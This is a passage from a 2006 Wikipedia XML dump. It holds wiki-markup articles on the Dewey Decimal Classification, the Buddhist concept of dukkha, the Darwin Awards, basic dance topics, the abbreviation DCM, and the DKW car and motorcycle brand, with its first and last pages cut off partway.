The common commercially available DNA ligases were originally discovered in bacteriophage T4, ''[[E. coli]]'' or other [[bacteria]].

==External links==

*[http://nist.rcsb.org/pdb/molecules/pdb55_1.html DNA Ligase: PDB molecule of the month]
*[http://www.bio.davidson.edu/Courses/Molbio/MolStudents/spring2003/Weber/ligation.html Davidson College General Information on Ligase]

[[Category:Ligases]]
[[Category: molecular biology]]

[[da:Ligase]]
[[de:Ligasen]]
[[es:ADNligasa]]
[[fr:ADN ligase]]
[[nl:DNA-ligase]]
[[ja:DNAリガーゼ]]
[[pl:Ligaza DNA]]</text>
    </revision>
  </page>
  <page>
    <title>Dewey Decimal Classification</title>
    <id>8699</id>
    <revision>
      <id>40926177</id>
      <timestamp>2006-02-23T22:49:08Z</timestamp>
      <contributor>
        <username>Nicke L</username>
        <id>296642</id>
      </contributor>
      <minor />
      <comment>+sv:</comment>
      <text xml:space="preserve">{{selfref|In Wikipedia, see [[Wikipedia:Dewey Decimal System]].}}
The '''Dewey Decimal Classification''' ('''DDC''', also called the '''Dewey Decimal System''') is a system of [[library classification]] developed by [[Melvil Dewey]] in [[1876]], and since greatly modified and expanded in the course of the twenty-two major revisions, the most recent in [[2004]]. 

== How it works == 

The DDC attempts to organize all knowledge into ten main classes that, excluding the first class (000 Computers, information and general reference), proceed from the divine (philosophy &amp; religion) to the mundane (history &amp; geography).
DDC's cleverness is in choosing [[decimal]]s for its categories; this allows it to be both purely numerical and infinitely hierarchical. It also is a [[faceted classification]], combining elements from different parts of the structure to construct a number representing the subject content (often combining two subject elements with linking numbers and geographical and temporal elements) and form of an item rather than drawing upon a list containing each class and its meaning. 

Except for general works and [[fiction]], works are classified principally by subject, with extensions for subject relationships, place, time or type of material, producing classification numbers of not less than three digits but otherwise of indeterminate length with a decimal point before the fourth digit, where present (e.g. 330 for [[economics]] + 94 for [[Europe]] = 330.94 European economy; 973 for [[United States]] + 005 form division for [[periodical]]s = 973.005, periodicals concerning the United States generally); classmarks are to be read as numbers, in the order: 050, 220, 330.973, 331 etc. Any letter should be read as preceding any number that might have occupied the same character position, so &quot;330.94 A&quot; would come before 330.943. The system uses ten main classes, which are then further subdivided. Each main class has ten divisions and each division has ten sections. Hence the system can be neatly summarized in 10 main classes, 100 divisions and 1000 sections. It is a common misconception that all books in the DDC are non-fiction.  However, the DDC has a number for all books, including those that generally become their own section of fiction.  If DDC rules are strictly followed, American fiction is classified in 813. Some libraries create a separate fiction section because of the space that would be taken up in the 800s.

== Cultural bias of the DDC ==

DDC is commonly used in [[public library|public]] and school libraries throughout the world, although some college and university libraries of all sizes also use Dewey, notably Duke University and Northwestern University. The schedule contains marked geographical biases derived from its [[19th century]] origins: [[Northern Africa]] for instance occupies all of 961&amp;ndash;965, the [[Sub-Saharan Africa|rest of the continent]] only 966&amp;ndash;969. It is still more biased towards [[Christianity]] against other [[religion]]s, the former covering all of 220&amp;ndash;289, while all others get only 292&amp;ndash;299 to share. Recent versions permit another religion to be placed in 220&amp;ndash;289, with Christianity relegated to 298, but this is mainly used by libraries operated by non-Christian religious groups, especially [[Jew]]ish ones. The DDC has also been criticized for its treatment of literature (800). Because primacy is given to language, national literatures get scattered. For example, Canadian literature in English is classed under English &amp; Old English (820) literatures while Canadian literature in French is classed under French literatures (840). The only exception is for American literature (810); a reflection of the Anglo-American bias inherent in the system.

== DDC compared to other classification systems ==

DDC's numbers formed the basis of the more expressive but complex [[Universal Decimal Classification]], which combines the basic Dewey numbers with selected punctuation marks (comma, colon, parentheses etc.). Despite its frequent revision, DDC is widely considered theoretically inferior to other more modern systems which make freer use of alphabetical characters to produce shorter classmarks for concepts of equal complexity, though it continues to offer a more expressive format than the [[Library of Congress Classification]] developed shortly afterward.

== Ownership ==

The [[Online Computer Library Center]] acquired the trademark and any copyrights associated with the Dewey Decimal System when it bought Forest Press in [[1988]]. OCLC classifies new books and maintains the classification system. In [[September 2003]], the OCLC sued the [[Library Hotel]] for trademark infringement. The settlement was that the OCLC would allow the Library Hotel to use the system in its hotel and marketing. In exchange, the Hotel would acknowledge the Center's ownership of the trademark and make a donation to a nonprofit organization promoting reading and literacy among children.

== Classes ==
The system is made up of ten main categories, each divided into 10 sub-categories, with each sub-category having 10 sub-divisions of its own.  Only the first 2 levels are listed here.

=== Main classes===
* 000 Computers, information and general reference
* 100 Philosophy and psychology
* 200 Religion
* 300 Social sciences
* 400 Language
* 500 Science and mathematics 
* 600 Technology
* 700 Arts and recreation
* 800 Literature
* 900 History and geography

=== Secondary classes ===

* 000 	Computer science, knowledge &amp; systems
* 010 	Bibliography
* 020 	Library &amp; information science
* 030 	Encyclopedias &amp; books of facts
* 040 	Not used
* 050 	General serial publications
* 060 	Organizations
* 070 	Journalism, publishing, media
* 080 	General collections
* 090 	Manuscripts &amp; rare books


* 100 	Philosophy &amp; Psychology
* 110 	Metaphysics
* 120 	Epistemology, causation, humankind
* 130 	Paranormal phenomenon
* 140 	Specific philosophical schools
* 150 	Psychology
* 160 	Logic
* 170 	Ethics
* 180 	Ancient, medieval, Oriental philosophy
* 190 	Modern western philosophy


* 200 	Religion
* 210 	Philosophy &amp; theory of religion
* 220 	Bible
* 230 	Christianity
* 240 	Christian moral &amp; devotional theology
* 250 	Christian orders &amp; local church
* 260 	Social &amp; ecclesiastical theology
* 270 	History of Christianity &amp; Christian sects
* 280 	Christian denominations
* 290 	Comparative religion &amp; other religions


* 300 	Social Sciences
* 310 	Statistics
* 320 	Political science
* 330 	Economics
* 340   Law
* 350   Public administration &amp; military science
* 360 	Social problems &amp; services
* 370 	Education
* 380 	Commerce, communications &amp; transportation
* 390 	Customs, etiquette, folklore


* 400 	Language
* 410 	Linguistics
* 420 	English &amp; Old English
* 430 	Germanic
* 440 	French
* 450 	Italian, Romanian, Rhaeto-Romanic
* 460 	Spanish &amp; Portuguese
* 470 	Latin
* 480 	Greek
* 490 	Other languages


* 500 	Science
* 510 	Maths
* 520 	Astronomy
* 530 	Physics
* 540 	Chemistry
* 550 	Earth sciences (Rocks and Minerals)
* 560 	Paleontology
* 570 	Life sciences
* 580 	Plants
* 590 	Animals


* 600 	Technology &amp; Applied Sciences
* 610 	Medicine &amp; health
* 620 	Engineering
* 630 	Agriculture
* 640 	Home &amp; family management
* 650 	Management &amp; public relations
* 660 	Chemical engineering
* 670 	Manufacturing
* 680 	Manufacture for specific uses
* 690 	Building


* 700 	Arts
* 710 	Civic &amp; landscape art
* 720 	Architecture
* 730 	Sculpture, ceramics &amp; metalwork
* 740 	Drawing &amp; decorative art
* 750 	Painting
* 760 	Graphic arts
* 770 	Photography &amp; computer art
* 780 	Music
* 790 	Sports, games &amp; entertainment



* 800   Literature, rhetoric &amp; criticism
* 810 	American 
* 820 	English &amp; Old English
* 830 	Germanic
* 840 	French
* 850 	Italian, Romanian
* 860 	Spanish, Portuguese
* 870 	Latin
* 880 	Greek
* 890 	Other literatures


* 900 	History
* 910 	Geography, travel
* 920 	Biography, genealogy, insignia
* 930 	Ancient world
* 940 	Europe
* 950 	Asia
* 960 	Africa
* 970 	North America
* 980 	South America
* 990 	Other areas

==See also==

*[[Colon classification]]
*[[Library of Congress Classification]]
*[[Universal Decimal Classification]]

== External links ==
* [http://www.oclc.org/dewey/resources/summaries/default.htm Complete list of Dewey Decimal Classes]
* [http://www.oclc.org/dewey/ OCLC's Dewey Decimal website]
* Full text of ''[http://www.gutenberg.net/etext/12513 A Classification and Subject Index for Cataloguing and Arranging the Books and Pamphlets of a Library (Dewey Decimal Classification)]'' (1876) from [[Project Gutenberg]]
* [http://isbndb.com/c/Library_Shelves/Dewey_Decimal_Classification/ ISBNdb Database] Given an [[ISBN]] number, provides the corresponding Dewey Decimal number.
* &quot;[http://www.straightdope.com/mailbag/mdeweydecimal.html What's so great about the Dewey Decimal System?]&quot; at [[Straight Dope]], [[31 January]] [[2006]]

[[Category:Library and information science]]
[[Category:Knowledge representation]]
[[Category:Classification systems]]


[[ar:تصنيف ديوي العشري]]
[[da:Dewey Decimal Classification]]
[[de:Dewey Decimal Classification]]
[[es:Sistema Dewey de clasificación]]
[[fr:Classification décimale de Dewey]]
[[io:Dewey decimala klasifiko]]
[[id:Klasifikasi Desimal Dewey]]
[[it:Classificazione decimale Dewey]]
[[he:שיטת דיואי]]
[[hu:Dewey decimális rendszer]]
[[nn:Deweys desimalklassifikasjon]]
[[pt:Classificação decimal de Dewey]]
[[fi:Deweyn luokittelu]]
[[sv:Dewey Decimal Classification]]
[[th:ระบบทศนิยมดิวอี้]]
[[zh:杜威十进制图书分类法]]</text>
    </revision>
  </page>
  <page>
    <title>Dukkha</title>
    <id>8702</id>
    <revision>
      <id>36500194</id>
      <timestamp>2006-01-24T14:04:00Z</timestamp>
      <contributor>
        <ip>198.110.181.160</ip>
      </contributor>
      <text xml:space="preserve">{{buddhism}}

'''Dukkha''' ([[Pāli|P&amp;#257;li]]; [[Sanskrit]]: du&amp;#7717;kha) is a central concept in [[Buddhism]], the word roughly corresponding to a number of terms in English including sorrow, [[suffering]], affliction, [[pain]], [[anxiety]], dissatisfaction, discomfort, anguish, stress, misery, and aversion. The term is probably derived from du&amp;#7717;stha, &quot;standing badly,&quot; &quot;unsteady,&quot; &quot;uneasy.&quot; ''Dukkha'' is the focus of the [[Four Noble Truths]], including the first:

:''All of life involves dukkha.''

The other three Noble Truths explain the source of ''dukkha'', the means of eliminating it, and the method of executing its cessation. This method is known as the [[Noble Eightfold Path]]. [[Gautama Buddha|Siddartha Gautama, the Buddha]] repeatedly stated that the ''only'' purpose of Buddhism is to seek the cessation of ''dukkha'', by understanding the Four Noble Truths and acting accordingly.

The Buddha discussed three kinds of dukkha.
* Dukkha-dukkha (pain of pain) is the obvious sufferings of physical pain, illness, old age, death, the loss of a loved one.
* Viparinama-dukkha (pain of alteration) is suffering caused by change: violated expectations, the failure of happy moments to last.
* Sankhara-dukkha (pain of formation) is a subtle form of suffering inherent in the nature of conditioned things, including the [[Skandha|skandhas]], the factors constituting the human mind. It denotes the experience that all formations (sankhara) are impermanent - thus it explains the qualities which make the mind as fluctuating and impermanent entities. It is therefore also a gateway to [[anatta]].

''Dukkha'' is also listed among the [[three marks of existence]].

== External links ==
* At ''[http://www.accesstoinsight.org Access to Insight]:''
** ''[http://www.accesstoinsight.org/ptf/dukkha.html entry on Dukkha]''



[[Category:Buddhist philosophical concepts]]
[[Category:Buddhist terms]]

[[bo:sdug bsngal]]
[[cs:Dukkha]]
[[de:Dukkha]]
[[es:Dukkha]]
[[fr:Dukkha]]
[[th:ทุกข์]]
[[vi:Khổ (Phật giáo)]]</text>
    </revision>
  </page>
  <page>
    <title>Darwin Awards</title>
    <id>8703</id>
    <revision>
      <id>42061054</id>
      <timestamp>2006-03-03T15:12:22Z</timestamp>
      <contributor>
        <username>Rmt2m</username>
        <id>544508</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Charles pencil.118.gif|right|thumb|[[Charles Darwin]], the father of evolution]]A '''Darwin Award''' is an honour given to people who supposedly help to improve the [[human]] [[gene pool]] by &quot;removing themselves from it in a spectacularly [[stupidity|stupid]] manner.&quot; The prizes are named in honour of the [[evolution]]ary [[theory|theorist]] [[Charles Darwin]], are awarded over the [[World Wide Web]], and are frequently distributed via [[email]].  There is no monetary or material prize associated with the Darwin Award, only infamous recognition.

To take the premise of the award seriously is to suppose that stupidity, or rather the kind of stupidity that leads to self-inflicted death, is at least partially determined by [[genetics]].

To qualify, one must die in an extraordinarily idiotic manner, such as juggling hand grenades ([[Croatia]], [[2001]]), jumping out of a plane to film skydivers while not wearing a parachute oneself ([[North Carolina]], [[1987]]), cutting off ones own head with a chainsaw in a macho-contest ([[Poland]], [[1996]]), using a lighter to illuminate a fuel tank to make sure it contains nothing flammable ([[São Paulo (city)|São Paulo]], [[2002]]), or heating a [[lava lamp]] on top of a stove.  While most Darwin winners receive the award posthumously, self-sterilization is sufficient for the award.

Honorable Mentions go to those who, though not deficient in stupidity, failed to remove themselves from the gene pool. Their foolish and dangerous acts are worth mentioning, if only to keep others from standing near them at their next attempt. Some of these include a man chasing a beer can and getting hit by a truck ([[Texas]], [[2002]]), people petting sharks during their feeding frenzy on a dead whale ([[Australia]], [[2001]]), and two people getting burned while trying to set fire to an arcade machine (unknown area, [[2002]]).

Personal Accounts go to stories that fit most of the requirements for a Darwin Award or Honorable Mention, but cannot be independently verified for several reasons. This can be because the submitted incident was witnessed by (or happened to) the submitter and was not witnessed by members of the general public. It also applies to submissions by medical professionals about the people that they have crossed paths with in the line of duty; due to the legal and occupational protections in place to ensure the privacy of patients, the details that are necessary for such a submission to be classified as an Honorable Mention or Darwin Award cannot be provided. [http://www.darwinawards.com/slush/200503/pending20050313-031332.html]

Some of the stories, such as that of the [[JATO Rocket Car]], have been shown to be fictitious [http://www.snopes.com/horrors/freakish/darwin04.asp].

While lists of Darwin Awards have been circulating via email for some time, the awards were popularized by webmistress and author [[Wendy Northcutt]], a.k.a. Darwin.  Her site, darwinawards.com, is by far the best known of the Darwin Award sites.  

== Rules ==

=== Requirements ===

According to Wendy Northcutt, the five requirements for a Darwin are

*Inability to reproduce - Nominee must be dead or sterile.

:A disputed issue, due to age, [[cloning]], donation of [[gamete|reproductive cells]], and celibacy. Should the elderly be allowed to win, their death having no impact on the gene pool? The general rule of thumb is that if the candidate no longer has the physical wherewithal to breed with a mate on an otherwise uninhabited &lt;!--&quot;Deserted&quot; implies previous occupation, suggesting the possibility of special equipment remaining on the island.--&gt;island, they are out of the gene pool.  However, one living man won a Darwin Award without losing his genitals because he had superglued himself to rhino buttocks and gotten sprayed with feces, so supposedly no female would have any interest in him. A marginal case is women whose stupidity imprisons them long enough for breeding to be improbable.  

*Excellence - Astounding misapplication of judgment.

:The candidate's idiocy must be unique and sensational. A number of commonly stupid activities (such as someone who goes to bed with a lit cigarette in their mouth or someone who drinks alcohol to death) are specifically excluded from consideration, unlike someone who asks a friend to shoot him with cigarette butts ([[Woodbine, New Jersey]], [[2002]]).

*Self-Selection - Cause of one's own demise.

:A hapless bystander being hit by an [[anvil]] dropped from a skyscraper has suffered from bad luck. But if you are hit by the anvil you rigged above your own balcony to kill [[pigeon]]s, then you are eligible for a Darwin Award.

:There is no award for taking someone else out of the gene pool in an extraordinarily stupid manner (even if the bystander did have some genes in common with the idiot). Thus, the [[Camden, New Jersey]] man who ran over a [[nun]] while smoking [[crack cocaine]] and driving with his feet at the same time will never be given an award. However, the [[Virginia]] [[murderer]] who wrote a gloating letter of confession to the prosecutor's office &quot;to show you how stupid y'all are&quot; after his acquittal is eligible.  Generally if others are harmed or endangered in the course of the action, the nominee is disqualified (though exceptions exist); this renders, for example, most drunk drivers ineligible, even if they were not disqualified by lack of excellence.

*Maturity - Capable of sound judgment.

:The nominee must be at least middle/late teen years of age and free of [[mental retardation|mental handicap]]s. However, some very rare Darwins like the thirteen-year-old girl who sniffs bug spray to her death ([[New Zealand]], 2001) have been on the site, though this is not permitted anymore.

*Veracity - The event must be verified. (See [[Darwin Awards#Urban legends|urban legends]])

:The story must be backed up by reliable sources i.e. reputable newspaper articles, confirmed television reports, and/or responsible eyewitnesses.

Also, the nominee must have been ''discovered'' in the year of nomination. For example, if the winner of a hide-and-seek contest five years ago disappeared, he must be nominated within one year of his skeleton being discovered in a well.

=== Not Darwins ===

The following have been specifically stated as not making one eligible for a Darwin as they are too common (meaning that for fairness an excessive number of awards would need to be given) or violate the above criteria in other ways.

*Sliding along an electric wire
*Smoking in an [[oxygen tent]]
*Being hit by a [[train]] or [[automobile]] (except in cases of truly extreme stupidity, such as stepping in front of a bus to throw a brick at it to show one's dislike for the driver) 
*Pressurized or liquid-filled containers in the oven
*Climbing into zoo cages (although one award was given for placing a garland around a tiger's neck as part of a New Years celebration [http://www.darwinawards.com/darwin/darwin1996-02.html])
*Falling off a precipice while posing and/or [[Urine|urinating]]
*Self-mutilation (disqualified due to implications of mental distress or insanity)
*Urinating onto electrified wires, subway rails, ''et cetera''
*Certain forms of carelessness with fuels and other flammable liquids (and particularly using gasoline/petrol to start a campfire)
*Being a repeat of an already submitted story.
*Criminals who killed themselves or were killed in the process of running from the police.

There are some exceptions to the above rules, but these are rare. In order for a nominee to be considered regardless of the presence of one of the above conditions that would normally make them ineligible for an award, the stupidity displayed by the nominee must be extreme, even for a &quot;normal&quot; Darwin contender.

== Urban legends ==

If a story is found to be untrue, it is disqualified and placed in a special section of the archives entitled &quot;[[urban legend]]s&quot;.

== History ==

Darwin Awards have circulated for as long a time as emails. The Google [[Usenet]] archive shows two early mentions of the Darwin Awards,
one dated 1985-08-07 [http://groups.google.com/groups?q=%22darwin+award%22+OR+%22darwin+awards%22&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;c2coff=1&amp;safe=off&amp;scoring=d&amp;as_drrb=b&amp;as_mind=12&amp;as_minm=5&amp;as_miny=1981&amp;as_maxd=7&amp;as_maxm=12&amp;as_maxy=1990&amp;selm=7343%40Shasta.ARPA&amp;rnum=2 Vending Machine Tipover], which wasn't mentioned on Usenet again until it was referenced in the 1990-12-07 version of the [http://groups.google.com/groups?q=JATO+rocket+darwin+award&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;c2coff=1&amp;safe=off&amp;scoring=d&amp;as_drrb=b&amp;as_mind=12&amp;as_minm=5&amp;as_miny=1981&amp;as_maxd=31&amp;as_maxm=7&amp;as_maxy=1995&amp;selm=4178%40exodus.Eng.Sun.COM&amp;rnum=35&amp;filter=0 JATO Rocket Car].  It lists the [[JATO Rocket Car]] [[urban legend]] that incorporated the second recorded use of the term &quot;Darwin Award&quot; back in 1990 and was very widely distributed in 1995-1997.

Wendy Northcutt began collecting the stories in 1993 when she was working at [[Stanford University]]. She began with a short mailing list of her friends, and as they forwarded these e-mails around, the rate of nominations steadily grew.

==Books==
Three books of the best stories have been published.
*''The Darwin Awards: Evolution in Action''  (2002) ISBN 0452283442 
*''The Darwin Awards II: Unnatural Selection'' (2003) ISBN 0452284015
*''The Darwin Awards III: Survival of the Fittest'' (2004) ISBN 0525947736

==Movie==
A film version, ''[[The Darwin Awards (film)|The Darwin Awards]]'', directed by [[Finn Taylor]] featuring [[Joseph Fiennes]] and [[Winona Ryder]],  premiered at the [[Sundance Film Festival]] on [[January 25]], [[2006]]. It also features [[Chris Penn]] in his last perfomance. The movie has been picked up for distribution by [[Bauer Martinez]] in the US and [[Icon Entertainment]] internationally.

==See also==
*[[Schadenfreude]]
*[[Testosterone poisoning]]

==External links==
*[http://www.darwinawards.com/ The Darwin Awards - official website]
*[http://movie.darwinawards.com The Darwin Awards Movie]

[[Category:Comedy websites]]
[[Category:Ironic and humorous awards]]

[[da:Darwinpris]]
[[de:Darwin Award]]
[[fr:Darwin Awards]]
[[it:Darwin Awards]]
[[fi:Darwin Awards]]
[[pl:Nagrody Darwina]]
[[zh:達爾文獎]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic dance topics</title>
    <id>8704</id>
    <revision>
      <id>31542990</id>
      <timestamp>2005-12-16T00:16:27Z</timestamp>
      <contributor>
        <username>Sommers</username>
        <id>625266</id>
      </contributor>
      <minor />
      <comment>Add link instead of italics</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[dance]]'''—topics which will help the beginner become familiar with the artistic field of dance. (For a comprehensive list, see [[list of dance topics]]. Specific dances can be found in the non-categorized alphabetical [[list of dances]].)

== Dance categories ==

The categories below are not mutually exclusive. For example, [[tango (dance)|tango]] is doubtless a ''partner dance''. While it is mostly ''social dance'', its [[Ballroom dance|ballroom]] form may be ''competitive dance'', especially within [[DanceSport]]. At the same time it is enjoyed as ''performance dance'', whereby it may well be a ''solo dance''. There are tangos among [[round dance]]s, and certainly ''participation dances'' can involve tango [[participation dance|mixer]]s. One might remember that at times it was a forbidden [[erotic dance]]. Finally, some try to trace its roots to African ''ceremonial dances''. Not to say that tango dance reaches beyond these categories: into [[figure skating|ice dancing]], [[burlesque]] and more.

===Dance categories by number of interacting dancers===
*[[Solo dance]]
*[[Partner dance]]
*[[Group dance]] 

===Dance categories by main purpose===
*[[Ceremonial dance]]
*[[Competitive dance]]
*[[Erotic dance]]
*[[Participation dance]]
*[[Performance dance]]
*[[Social dance]]
*[[Concert dance]]

== Dance technique ==

*[[Choreography]]
*[[Connection (dance)|Connection]]
*[[Dance move|Dance moves]]
*[[Lead and follow (dance)|Lead and follow]]
*[[Musicality (dance)|Musicality]]

== Dance topics ==

*[[Dance etiquette]]
*[[History of dance]]
*[[Dance in mythology and religion]]
*[[Dance in film]]
*[[Dance music]]
*[[Dance personalia]]
*[[Dance and health]]
*[[Dance and society]]
*[[Dance notation]]

== Glossaries ==

*[[Glossary of partner dance terms]]
*[[Musical terminology]]
*[[Glossary of ballet terms]]
*[[glossary of ballroom dance terms]]

== Dance-related lists ==

*[[List of dances|General index list of dances]]
*[[List of dance topics]]
*[[List of dance style categories]]
*[[List of folk dances sorted by origin]]
*[[Novelty and fad dances|List of novelty and fad dances]] 
*[[List of dance organizations]]
*[[Wikiquote:List of quotations about dance]]
*[[List of ballroom and social dance albums]]
*[[List of dance wikibooks]]

== Related links ==

*[[Dance]]
*[[Dance music]]
*[[Music]]
*[[Musical terminology]]
*[[List of musical topics]]
*[[Dance film]]
*[[Musical film]]

[[Category:Dance]]
[[Category:Wikipedia missing topics]]</text>
    </revision>
  </page>
  <page>
    <title>DCM</title>
    <id>8706</id>
    <revision>
      <id>40384112</id>
      <timestamp>2006-02-20T04:46:30Z</timestamp>
      <contributor>
        <username>TTE</username>
        <id>732708</id>
      </contributor>
      <text xml:space="preserve">'''DCM''' is a [[TLA]] which may stand for:

*British and Commonwealth [[Distinguished Conduct Medal|Distinguished Conduct Medal]]
*Deputy Chief of Missions - Working directly under the Ambassador or Consular at American [[embassies]] and [[consulates]].
*[[Dichloromethane]]
*[[Dilated cardiomyopathy]]
*Don't Come Monday &amp;mdash; slang for worker's dismissal notice.
*Discontinuous Conduction Mode in [[Power electronics]], by opposition to [[CCM]]
*Electronics - Digital Clock Manager
*[[Digital Imaging and Communications in Medicine]] filename extension
*Dynamic Content Management
*The [[Demented Cartoon Movie]], by [[Brian Kendall]]

{{TLAdisambig}}

[[de:DCM]]
[[ja:DCM]]</text>
    </revision>
  </page>
  <page>
    <title>DKW</title>
    <id>8707</id>
    <revision>
      <id>38510271</id>
      <timestamp>2006-02-06T20:58:38Z</timestamp>
      <contributor>
        <username>Dkwmonza</username>
        <id>864969</id>
      </contributor>
      <comment>/* Automobiles made after WWII */ Picture of Monza</comment>
      <text xml:space="preserve">[[Image:Dkw-symbol-vorn.jpg|thumb|right|DKW Auto Union logotype]]

'''Dampf-Kraft Wagen''' ([[German language|German]]: ''steam-powered vehicle'') or '''DKW''' is an historic [[automobile|car]] and [[motorcycle]] brand.  In [[1916]], the [[Denmark|Danish]] [[engineer]] [[Jørgen Skafte Rasmussen]] founded a factory in [[Saxony]], [[Germany]], to produce steam fittings. In the same year, he attempted to produce a steam-driven car, called the DKW. Although unsuccessful, he made a [[two-stroke cycle|two-stroke]] toy engine in [[1919]], called ''Des Knaben Wunsch'' &amp;mdash; &quot;the boy's wish&quot;. He also put slightly modified version of this engine into a motorcycle and called this ''Das Kleine Wunder'' &amp;mdash; &quot;the small wonder&quot;. This was the real beginning of the DKW brand:  by the [[1930s]], DKW was the world's largest motorcycle manufacturer.  In [[1932]], DKW merged with [[Audi]], [[Horch]] and [[Wanderer (car)|Wanderer]] to form the [[Auto Union]], and all brands continued until [[World War II]]. After the war, Auto Union changed ownership a couple of times, first passed into the hands of [[Daimler-Benz]] in [[1957]], and was finally purchased by the [[Volkswagen Group]] in [[1964]].

== Automobiles made before WWII ==

DKW cars were made from [[1928]] until [[1966]]. They always used [[two-stroke cycle]] engines, and from [[1931]] the company was a pioneer in [[front-wheel drive]]. The most well-known cars made before World War II bearing model names F1 through F8 (F for Front) had front wheel drive and a [[transversely mounted engine|transversely mounted]] two cylinders engine. These models also featured an innovation with a generator that doubled up as a self starter which was mounted directly on the [[crankshaft]]. This was known as a Dynastart. They also produced a less known series of rear wheel driven cars called Schwebeklasse and Sonderklasse with [[V4]] [[two-stroke engine]]s. These engines had two extra cylinders for [[forced induction]], so they really appeared like [[V6]]es but without [[sparkplug]]s on the front cylinder pair.
 
In [[1939]], they made a prototype with the first [[straight-3|three-cylinder engine]]. This prototype was to be put into production only after the war, first as an [[Industrieverband Fahrzeugbau|IFA]] F9 (later to become [[Wartburg]]) in [[Zschopau]], [[East Germany]], and shortly afterwards in DKW-form from Düsseldorf as the 3=6 or F91.
&lt;gallery&gt;
Image:DKW-F1.jpg|A [[1931]] '''DKW F1'''
Image:DKW F8-700.jpg|A [[1939]] '''DKW F8-700'''
&lt;/gallery&gt;
== Automobiles made after WWII ==

As the Auto Union company originally was situated in Saxony in what became [[East Germany]] or [[DDR]], it took some time before they gathered after the war was ended. The company was registered again in [[BRD]] as Auto Union GMBH in [[1949]], first as a spare-part provider, but soon to take up production of the RT 125 motorcycle and a newly developed delivey van, called a Schnellaster F800. Their first line of production took place in [[Düsseldorf]]. This van used the same engine as the last F8 made before the war. Their first passenger car was the F89 using the body from the prototype F9 made before the war and the 2 cylinder engine from the last F8. Production went on until it was released by the successful 3 cylinder engine which came with the F91. The F91 was in production from [[1953]] to [[1955]], and was replaced by the somewhat larger F93 in [[1956]].  The F91 and F93 models all had 900 [[cc]] 3-cylinder two-stoke engines, the first ones delivering 34 [[horsepower|hp]], and the last ones 38 hp. The ignition system of these engines comprised three independant sets of [[Circuit breaker|points]] and [[Ignition coil|coils]], one for each cylinder, with the points mounted in a cluster around a single three [[lobe]]d [[cam]] at the front end of the crank shaft. The cooling system was of the [[convection|free convection]] type assisted by a fan driven from a pulley mounted at the front end of the crank shaft.

The F93 was produced until [[1959]], and was in turn replaced by the AU1000. These models where produced with a 1000 cc engine, with a choice between 44 or 50 hp S versions until [[1963]]. During this transission, production was also moved from Düsseldorf to [[Ingolstadt]] where [[Audi]] still have their production. From [[1957]], these cars could be fitted with an optional [[saxomat]], an automatic clutch, and at the time it was the only small car available with this feature. The last versions of the AU1000S also had [[disk brakes]] as option, an early development for this technology.  A sporting 2+2 seater version was also available as the AU1000 Sp from [[1957]] to [[1964]], the first years only as a [[coupe]] and from [[1962]] also as a [[convertible]].

In [[1956]], the very rare DKW Monza was put into small scale production on a private initiative. This was a sporting, twoseater body made of [[glassfiber]] mounted on a standard F93 frame. The car was first called Solitude, but got its final name from the several long distance speed records it made on the [[Autodromo Nazionale Monza|Monza]] racing track in [[Italy]] in november 1956. Running in [[FIA]] class G, it set several new records, among them 48 hours with average speed 140.961 km/h, 10.000 km with average speed 139.453 km/h and 72 hours with average speed 139.459 km/h. The car was first produced by Dannenhauer &amp; Stauss in [[Stuttgart]], then by Massholder in [[Heidelberg]] and at last by Robert Schenk in Stuttgart. Total number of produced cars is said to be around 230 and production was rounded up by the end of 1958.

A more successful range of passenger cars was put out on the marked from [[1959]]. This was the Junior/F12 series based on a modern concept from the late 50ies. This range consist of Junior (basic model) made from [[1959]] to [[1961]], Junior de Luxe (a little enhanced) from [[1961]] to [[1963]], F11 (a little larger) and F12 (larger and bigger engine) from [[1963]] to [[1965]] and F12 Roadster from [[1964]] to [[1965]]. The Junior/F12 series got quite popular, and many cars where produced.

All the 3 cylinder post-war cars had some sporting potential and formed the basis for many [[rally]] victories in the [[1950s]] and beginning of [[1960s]]. This made DKW the most winning car brand in the European rally league for several years during the fifties.

The last DKW was the [[DKW F102|F102]] coming into production in [[1964]] as a release for the somewhat old-looking AU1000. This model was the direct forerunner of the first post-war [[Audi|Audi 60]], the main difference being that the Audi used a conventional [[four-stroke engine]].

&lt;gallery&gt;
Image:F91_cabrio.jpg|A [[1955]] '''F91''', as 2-seater [[convertible]]
Image:Au1000s_62+F91.jpg|A [[1962]] '''AU1000S''', with an F91 behind it
Image:Monza_57.jpg|A [[1957]] '''DKW Monza'''
Image:DKW_F12_1963.jpg|A [[1963]] '''F12'''
Image:Au1000sp.jpg|A [[1962]] '''AU1000Sp convertible'''
Image:DKW-F102.jpg|A [[1964]] '''DKW F102'''
&lt;/gallery&gt;

== Vans and utility vehicles ==
=== The Munga ===
The word &quot;MUNGA&quot; comes from the German phrase &quot;Mehrzweck UNiversal Geländewagen mit Allradantrieb&quot;, which translated means, &quot; Multi purpose Universal Cross-country Car with [[Four-wheel drive|All-wheel]] drive&quot;. 

DKW produced the [http://www.munga.worldoftechnic.de Munga] from [[1954]] to [[1968]], a [[Jeep]]-like [[all terrain vehicle]] for the [[German Army]] and [[Polizei]]. It had two 2 different [[two-stroke engine]] versions: either 900 or 1000 cc [[engine displacement]], with 38 or 44 [[horsepower|hp]] respectively. A firm of [[land survey]]ors in [[Stellenbosch]] is known to have owned one of these. The [[Pretoria]] [[fire brigade]] also made use of the Munga.
=== The Van ===
During the [[1960s]], DKW produced a [[van]] with a trailing-arm [[rear suspension]] system which incorporated [[spring]]s in the cross bar assembly.  Because it was [[front-wheel drive]], it was possible for a [[low floor]] configuration, with the load areas about 40 [[centimeter|cm]] from the ground. It was also fitted with a large single rear [[door]] fitted to [[hinge]]s on the right-hand side.  The van proved popular; one example being a company in [[Stellenbosch]], [[South Africa]], that sold [[musical instrument]]s:  their DKW van, used for the transport of [[piano]]s because of the low floor and large door, became iconic in the town.

== Motorcycles ==
Before [[World War II]], the company had some success with [[forced induction]] racing bikes, and during the [[1920s]] and [[1930s]], DKW was the world largest motorcycle manufacturer. After the war, the company made the RT125, 175, 250 and 350 models.

